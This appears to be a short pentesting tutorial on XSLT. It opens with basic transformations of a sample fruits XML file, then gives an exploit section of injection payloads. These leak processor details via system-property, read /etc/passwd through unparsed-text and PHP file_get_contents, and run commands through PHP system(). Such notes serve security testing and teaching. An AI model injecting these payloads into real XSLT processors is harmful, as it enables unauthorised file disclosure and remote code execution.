How it works#

eXtensible Stylesheet Language Transformation (XSLT) can transform XML. For example, it can get specific nodes from XML text

Sample data#

<?xml version="1.0" encoding="UTF-8"?>
<fruits>
    <fruit>
        <name>Apple</name>
        <color>Red</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Banana</name>
        <color>Yellow</color>
        <size>Medium</size>
    </fruit>
    <fruit>
        <name>Strawberry</name>
        <color>Red</color>
        <size>Small</size>
    </fruit>
</fruits>

Transform data#

The following are some commonly used XSL elements:

  • <xsl:template>: This element indicates an XSL template. It contains match attribute to specify a XML node, ie. <xsl:template match="/fruits">
  • <xsl:for-each>: Looping all XML nodes specified in the select attribute, ie <xsl:for-each select="fruit">
  • <xsl:value-of>: Get value of the XML node specified in select attribute, ie. <xsl:value-of select="name"/>
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:template match="/fruits">
		Here are all the fruits:
		<xsl:for-each select="fruit">
			<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
		</xsl:for-each>
	</xsl:template>
</xsl:stylesheet>

Another example, with if and sort, this is how you filter Medium sized fruits, and sorted by color

<xsl:sort select="color" order="descending" />
<xsl:if test="size = 'Medium'">
	<xsl:value-of select="name"/> (<xsl:value-of select="color"/>)
</xsl:if>

Exploit#

We can test by input a <, like how sqli returns a 500

Info Disclosure

Version: <xsl:value-of select="system-property('xsl:version')" />
<br/>
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
<br/>
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
<br/>
Product Name: <xsl:value-of select="system-property('xsl:product-name')" />
<br/>
Product Version: <xsl:value-of select="system-property('xsl:product-version')" />

LFI using XSLT’s unparsed-text function. This function is available after XSLT version 2.0

<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')" />

LFI using PHP’s file_get_contents()

<xsl:value-of select="php:function('file_get_contents','/etc/passwd')" />

RCE using PHP’s system()

<xsl:value-of select="php:function('system','id')" />